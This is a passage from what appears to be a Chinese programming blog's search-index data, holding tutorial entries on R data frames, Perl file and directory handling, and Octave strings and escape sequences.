x.data.frame[c(FALSE, TRUE, TRUE, TRUE, FALSE), c(\u0026#34;x\u0026#34;, \u0026#34;z\u0026#34;)] x z 2 b TRUE 3 c TRUE 4 d FALSE 只有取出 data frame 的單一行（column）時，傳回的資料類型會是向量，但若是取出多行時，傳回的資料就會是另一個 data frame：\nclass(x.data.frame[2:4, 2]) [1] \"numeric\" class(x.data.frame[2:4, -2]) [1] \"data.frame\" 如果只需要選取單一行的資料，可以使用列表變數的索引方式（雙中括號 [[]] 加上正整數或名稱、錢字號 $ 加上名稱），以下幾種寫法都是相同的。\nx.data.frame$x [1] a b c d e f Levels: a b c d e f x.data.frame[[1]] [1] a b c d e f Levels: a b c d e f x.data.frame[[\u0026#34;x\u0026#34;]] [1] a b c d e f Levels: a b c d e f 如果要取出一行中部分的元素，可以再堆疊一個中括號來指定元素的索引：\nx.data.frame$x[2:4] [1] b c d Levels: a b c d e f x.data.frame[[1]][2:4] [1] b c d Levels: a b c d e f x.data.frame[[\u0026#34;x\u0026#34;]][2:4] [1] b c d Levels: a b c d e f 如果想要篩選 data frame 中的資料，可以使用條件判斷式再配合索引的方式來處理：\nx.data.frame[x.data.frame$y \u0026gt; 0 | x.data.frame$z, \u0026#34;x\u0026#34;] [1] a b d e f Levels: a b c d e f 如果不想使用這麼複雜的寫法，也可以改用 subset 函數，它的功能相同，但是寫法較簡潔：\nsubset(x.data.frame, y \u0026gt; 0 | z, x) x 1 a 2 b 4 d 5 e 6 f subset 函數第一個參數是要進行篩選的 data frame 變數，而第二個參數是指定列（row）的索引，第三個參數則是行（column）的索引，若最後一個行索引參數省略，就會取出所有行中的資料。\n基本 Data Frame 操作 data frame 跟矩陣一樣可以使用 t 函數來轉向：\nx.data.frame \u0026lt;- data.frame( x = letters[1:6], y = rnorm(6), z = runif(6) \u0026gt; 0.5 ) t(x.data.frame) 不過將 data frame 轉向之後，所有的資料都會換轉為同一種類型，而且轉換之後的變數會是一個矩陣。\n若要結合多個 data frames，可以使用 cbind 或 rbind，rbind 在結合多個 data frames 時，會自動判斷每個行的名稱，將相同名稱的行對應起來，行的排列順序不會影響合併結果：\nx.data.frame \u0026lt;- data.frame( x = letters[1:6], y = rnorm(6), z = runif(6) \u0026gt; 0.5 ) y.data.frame \u0026lt;- data.frame( y = rnorm(6, 7, 9), z = runif(6) \u0026lt; 0.5, x = letters[7:12] ) rbind(x.data.frame, y.data.frame) x y z 1 a -0.3059567 TRUE 2 b 0.6109400 TRUE 3 c 0.5408157 FALSE 4 d 0.8020496 FALSE 5 e -0.9348107 FALSE 6 f 1.2134915 FALSE 7 g -0.3173948 TRUE 8 h 25.6336216 TRUE 9 i -16.4824389 TRUE 10 j 5.3940237 TRUE 11 k 11.9232029 FALSE 12 l 16.6851942 TRUE cbind 函數在合併 data frames 時，並不會檢查行的名稱，所以要注意行名稱重複的問題：\ncbind(x.data.frame, y.data.frame) x y z y z x 1 a -0.3059567 TRUE -0.3173948 TRUE g 2 b 0.6109400 TRUE 25.6336216 TRUE h 3 c 0.5408157 FALSE -16.4824389 TRUE i 4 d 0.8020496 FALSE 5.3940237 TRUE j 5 e -0.9348107 FALSE 11.9232029 FALSE k 6 f 1.2134915 FALSE 16.6851942 TRUE l 如果兩個 data frames 要依照某個特定的行來合併資料，可以使用 merge 函數：\nx.data.frame \u0026lt;- data.frame( x = letters[1:6], foo.x = rnorm(6), bar.x = runif(6) \u0026gt; 0.5 ) x.data.frame x foo.x bar.x 1 a -0.06067850 TRUE 2 b -0.01201291 TRUE 3 c -0.28666529 FALSE 4 d 1.64905115 FALSE 5 e -0.39324483 TRUE 6 f 0.25352265 TRUE y.data.frame \u0026lt;- data.frame( foo.y = rnorm(6, 7, 9), bar.y = runif(6) \u0026lt; 0.5, x = letters[3:8] ) y.data.frame foo.y bar.y x 1 -2.9982815 TRUE c 2 -0.1559176 FALSE d 3 12.6673980 TRUE e 4 6.6994744 TRUE f 5 0.3809737 FALSE g 6 3.3026685 FALSE h 使用 merge 將 x.data.frame 與 y.data.frame 依據 x 欄位結合：\nmerge(x.data.frame, y.data.frame, by = \u0026#34;x\u0026#34;) x foo.x bar.x foo.y bar.y 1 c -0.2866653 FALSE -2.9982815 TRUE 2 d 1.6490511 FALSE -0.1559176 FALSE 3 e -0.3932448 TRUE 12.6673980 TRUE 4 f 0.2535227 TRUE 6.6994744 TRUE 在使用 merge 合併 data frames 時，如果有些 x 欄位的值只出現在其中一個 data frame 中，而在另外一個 data frame 中找不到這個值的話，這一筆資料就會被忽略，如果需要將這樣不完全的資料也都保留的話，可以加上 all = TRUE 參數：\nmerge(x.data.frame, y.data.frame, by = \u0026#34;x\u0026#34;, all = TRUE) x foo.x bar.x foo.y bar.y 1 a -0.06067850 TRUE NA NA 2 b -0.01201291 TRUE NA NA 3 c -0.28666529 FALSE -2.9982815 TRUE 4 d 1.64905115 FALSE -0.1559176 FALSE 5 e -0.39324483 TRUE 12.6673980 TRUE 6 f 0.25352265 TRUE 6.6994744 TRUE 7 g NA NA 0.3809737 FALSE 8 h NA NA 3.3026685 FALSE 對於含有數值資料的 data frame，我們可以使用 colSums 與 colMeans 函數來計算整個行的總和與平均：\ncolSums(x.data.frame[, 2:3]) foo.x bar.x 1.149972 4.000000 colMeans(x.data.frame[, 2:3]) foo.x bar.x 0.1916620 0.6666667 若要計算列的總和與平均，則可使用 rowSums 與 rowMeans 函數，用法都是類似的。\n","permalink":"https://blog.gtwang.org/r/r-lists-and-data-frames/","summary":"\u003cp\u003e本篇介紹 R 的列表變數與 data frames 的使用方式。\u003c/p\u003e\n\u003ch2 id=\"r-列表變數\"\u003eR 列表變數\u003c/h2\u003e\n\u003cp\u003eR 的列表（list）變數類似向量，內含多個元素，不過跟向量不同的是列表是一種復合型的變數，其中的每個元素可以是不同的類型，我們可以將各式各樣不同類型的變數儲存在一個列表變數中。\u003c/p\u003e","title":"R 列表變數與 Data Frames"},{"content":"檔案與目錄處理 # 檔案與目錄處理 # (1) 檔案測試算符 $filename = \u0026#34;data.txt\u0026#34;; if(-e $filename){ # 測試檔案是否存在 print \u0026#34;$filename exists.\\n\u0026#34;; }else{ print \u0026#34;$filename does not exist.\\n\u0026#34;; } # 其他算符請參考 perlfunc(1) # (2) glob # 把現行目錄下所有 .txt 檔之檔名存入 @allfile # 與 shell 下用法相同 @allfile = glob \u0026#34;*.txt\u0026#34;; # 另一種寫法，等同於 @allfile = glob \u0026#34;*.txt\u0026#34;; @allfile = \u0026lt;*.txt\u0026gt;; @etcfile = \u0026lt;/etc/*.conf\u0026gt;; # 可加入路徑 # 抓取所有 .txt 與 .conf 檔 @files = \u0026lt;*.txt *.conf\u0026gt;; # (3) 目錄代碼 (directory handle) # (A) $dir = \u0026#34;/etc\u0026#34;; opendir DIR, $dir; while($file = readdir DIR){ # 印出 /etc 下所有檔案與目錄 # 包含 \u0026#39;.\u0026#39; \u0026#39;..\u0026#39; 與 \u0026#39;.\u0026#39; 開頭之隱藏檔 print \u0026#34;$file\\n\u0026#34;; } closedir DIR; # (B) $dir = \u0026#34;/etc\u0026#34;; opendir DIR, $dir; # 將 /etc 下所有檔案與目錄存入 @etc_all_file @etc_all_file = readdir DIR; closedir DIR; # (4) 基本檔案目錄處理 rename \u0026#34;file1.txt\u0026#34;, \u0026#34;file2.txt\u0026#34;; mkdir \u0026#34;mydir\u0026#34;,0755; rmdir \u0026#34;mydir\u0026#34;; chmod 0755, \u0026#34;file1\u0026#34;,\u0026#34;file2\u0026#34;; 其他 # 其他 # (1) @ARGV：取用 script 指令列參數 print \u0026#34;\\$ARGV[$_] = $ARGV[$_]\\n\u0026#34; for 0 .. $#ARGV; # (2) system：執行子行程 system(\u0026#34;date\u0026#34;); # 執行 date 程式 system(\u0026#34;ls -al\u0026#34;); # (3)``：擷取輸出結果 # 擷取 date 之輸出，存入 $output $output = `date`; $output2 = `ls -al`; ","permalink":"https://blog.gtwang.org/perl/perl-course-notes-7/","summary":"\u003ch2 id=\"檔案與目錄處理\"\u003e檔案與目錄處理\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-perl\" data-lang=\"perl\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 檔案與目錄處理\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (1) 檔案測試算符\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$filename\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;data.txt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e \u003cspan class=\"nv\"\u003e$filename\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e     \u003cspan class=\"c1\"\u003e# 測試檔案是否存在\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;$filename exists.\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;$filename does not exist.\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 其他算符請參考 perlfunc(1)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (2) glob\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 把現行目錄下所有 .txt 檔之檔名存入 @allfile\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 與 shell 下用法相同\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@allfile\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eglob\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;*.txt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 另一種寫法，等同於 @allfile = glob \u0026#34;*.txt\u0026#34;;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@allfile\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"sr\"\u003e\u0026lt;*.txt\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@etcfile\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"sr\"\u003e\u0026lt;/etc/*.conf\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e   \u003cspan class=\"c1\"\u003e# 可加入路徑\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 抓取所有 .txt 與 .conf 檔\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@files\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;*.\u003c/span\u003e\u003cspan class=\"n\"\u003etxt\u003c/span\u003e \u003cspan class=\"o\"\u003e*.\u003c/span\u003e\u003cspan class=\"n\"\u003econf\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (3) 目錄代碼 (directory handle)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (A)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$dir\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;/etc\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eopendir\u003c/span\u003e \u003cspan class=\"n\"\u003eDIR\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$dir\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$file\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003ereaddir\u003c/span\u003e \u003cspan class=\"n\"\u003eDIR\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"c1\"\u003e# 印出 /etc 下所有檔案與目錄\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"c1\"\u003e# 包含 \u0026#39;.\u0026#39; \u0026#39;..\u0026#39; 與 \u0026#39;.\u0026#39; 開頭之隱藏檔\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;$file\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eclosedir\u003c/span\u003e \u003cspan class=\"n\"\u003eDIR\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (B)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$dir\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;/etc\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eopendir\u003c/span\u003e \u003cspan class=\"n\"\u003eDIR\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$dir\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 將 /etc 下所有檔案與目錄存入 @etc_all_file\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@etc_all_file\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003ereaddir\u003c/span\u003e \u003cspan class=\"n\"\u003eDIR\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eclosedir\u003c/span\u003e \u003cspan class=\"n\"\u003eDIR\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (4) 基本檔案目錄處理\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003erename\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;file1.txt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;file2.txt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003emkdir\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;mydir\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mo\"\u003e0755\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003ermdir\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;mydir\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003echmod\u003c/span\u003e \u003cspan class=\"mo\"\u003e0755\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;file1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;file2\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"其他\"\u003e其他\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-perl\" data-lang=\"perl\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 其他\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (1) @ARGV：取用 script 指令列參數\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;\\$ARGV[$_] = $ARGV[$_]\\n\u0026#34;\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e..\u003c/span\u003e \u003cspan class=\"nv\"\u003e$#ARGV\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (2) system：執行子行程\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003esystem\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;date\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e   \u003cspan class=\"c1\"\u003e# 執行 date 程式\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003esystem\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;ls -al\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (3)``：擷取輸出結果\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 擷取 date 之輸出，存入 $output\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$output\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"sb\"\u003e`date`\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$output2\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"sb\"\u003e`ls -al`\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Perl 檔案與目錄處理"},{"content":"表示字串（Represent String） Octave 中的字串是指一連串使用單引號（'）或是雙引號（\u0026quot;）包起來的字元，字串的長度沒有特別的限制。例如：\n\u0026#34;string 1\u0026#34; \u0026#39;string 2\u0026#39; 在 Octave 中，單引號也用在矩陣的轉置運算上，而雙引號並沒有別的功能，因此為了避免混淆，建議盡量使用雙引號表示字串。\n使用類似定義陣列的方式可以將多個字串連接起來，例如：\n[\u0026#34;foo\u0026#34;, \u0026#34;bar\u0026#34;, \u0026#34;baz\u0026#34;] 這會得到一個連接起來的字串 \u0026quot;foobarbaz\u0026quot;。\n跳脫序列（Escape Sequences） 在雙引號的字串中，可以使用反斜線來表示一些特殊的字元，這樣的表示法統稱跳脫序列，例如 “\\n” 表示換行字元，\u0026amp;#8221; 則表示雙引號。在單引號的字串中，反斜線不具任何特殊意義，以下示範雙引號與單引號的差異：\ntoascii(\u0026#34;\\n\u0026#34;) 輸出為\nans = 10 toascii(\u0026#39;\\n\u0026#39;) 輸出為\nans = 92 110 以下是可以在雙引號中使用的跳脫序列，這些與 C 語言中所支援的跳脫序列相同：\n\\\\：反斜線（\\）。 \\\u0026quot;：雙引號（\u0026quot;）。 \\'：單引號（'）。 \\0：null 字元，Ctrl + @，ASCII 碼為 0。 \\a：alert 字元，Ctrl + g，ASCII 碼為 7。 \\b：backspace 字元，Ctrl + h，ASCII 碼為 8。 \\f：formfeed 字元，Ctrl + l，ASCII 碼為 12。 \\n：newline 字元，也就是換行，Ctrl + j，ASCII 碼為 10。 \\r：return 字元，Ctrl + m，ASCII 碼為 13。 \\t：horizontal tab 字元，Ctrl + i，ASCII 碼為 9。 \\v：vertical tab 字元，Ctrl + k，ASCII 碼為 11。 在單引號中唯一的跳脫序列就是單引號，要輸入連續兩個單引號可以代表一個單引號，例如：\n\u0026#39;I can\u0026#39;\u0026#39;t escape\u0026#39; 輸出為\nans = I can't escape 字元陣列（Character Arrays） 在 Octave 中的字串事實上使以陣列的方式儲存，例如 \u0026quot;ddddd\u0026quot; 這個字串在 Octave 內部是一個長度為 5 的列向量，而向量中的每個元素值皆為 100（100 是字元 d 的 ASCII 碼），由於這特性使得字串可以擴充為字元矩陣，使用字元矩陣可以表示多個長相同的字串，Octave 習慣上將每個列（row）視為一個字串，但將每個行（column）視為一個字串也是可行的。\n要建立字元矩陣最簡單的方式是將多個字串直接放進矩陣中，例如：\ncollection = [\u0026#34;String #1\u0026#34;; \u0026#34;String #2\u0026#34;] 這樣會產生 2 乘 9 的字元矩陣。\n要判斷一個矩陣是否為字元矩陣，可以使用 ischar() 函數：\nischar (a) 判斷 a 是否為字元矩陣，是則傳回 1，否則傳回 0。\n而要判斷一個變數是否為字串（非字元矩陣），可以使用 ischar() 函數配合 isvector() 函數，例如：\nischar(collection) 輸出為\nans = 1 ischar(collection) \u0026amp;\u0026amp; isvector(collection) 輸出為\nans = 0 ischar(\u0026#34;my string\u0026#34;) \u0026amp;\u0026amp; isvector(\u0026#34;my string\u0026#34;) 輸出為\nans = 1 當使用不同長度的字串產生字元矩陣時，Octave 會將較短的字串自動加上空白字元補齊，使每個字串長度都跟最長的字串長度相等，而自動加入的字元除了空白之外，亦可以使用 string_fill_char() 函數設定：\nval = string_fill_char () old_val = string_fill_char (new_val) 查詢或設定在建立字元陣列時，用來補齊的字元，這個值必須是單一個字元，預設是空白（\u0026quot; \u0026quot;）。例如：\nold_fc = string_fill_char (\u0026#34;X\u0026#34;); [ \u0026#34;these\u0026#34;; \u0026#34;are\u0026#34;; \u0026#34;strings\u0026#34; ] 